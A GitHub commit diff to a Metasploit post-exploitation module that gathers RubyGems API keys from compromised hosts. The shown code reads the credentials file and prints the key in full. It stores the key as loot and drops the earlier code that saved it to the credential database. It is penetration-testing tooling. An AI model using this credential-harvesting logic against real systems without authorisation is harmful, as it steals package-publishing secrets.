Skip to content

Commit f58dc27

Browse files
author
Jonathan Claudius
committed
Remove creds
1 parent a27c376 commit f58dc27

File tree

1 file changed

+10
-34
lines changed

1 file changed

+10
-34
lines changed

modules/post/multi/gather/rubygems_api_key.rb

Lines changed: 10 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -46,44 +46,20 @@ def download_loot(paths)
4646

4747
if key = YAML.load(read_file(path))[:rubygems_api_key]
4848
rubygems_api_key = key
49+
else
50+
return
4951
end
5052

51-
print_good("Downloaded #{path}")
53+
print_good("Found a RubyGems API Key: #{rubygems_api_key}")
5254

53-
store_loot("host.rubygems.apikey",
54-
"text/plain",
55-
session,
56-
rubygems_api_key,
57-
"ruby_api_key.txt",
58-
"Ruby API Key")
55+
loot_path = store_loot("host.rubygems.apikey",
56+
"text/plain",
57+
session,
58+
rubygems_api_key,
59+
"ruby_api_key.txt",
60+
"Ruby API Key")
5961

60-
service_data = {
61-
address: "rubygems.org",
62-
port: 443,
63-
service_name: 'rubygems',
64-
protocol: 'tcp',
65-
workspace_id: myworkspace_id
66-
}
67-
68-
credential_data = {
69-
origin_type: :session,
70-
session_id: session_db_id,
71-
post_reference_name: self.refname,
72-
private_type: :password,
73-
private_data: rubygems_api_key,
74-
workspace_id: myworkspace_id
75-
}
76-
77-
credential_core = create_credential(credential_data)
78-
79-
login_data = {
80-
core: credential_core,
81-
status: Metasploit::Model::Login::Status::UNTRIED,
82-
workspace_id: myworkspace_id
83-
}
84-
85-
login_data.merge!(service_data)
86-
create_credential_login(login_data)
62+
print_status("RubyGems API Key stored in: #{loot_path.to_s}")
8763
end
8864
end
8965
end

0 commit comments

Comments
 (0)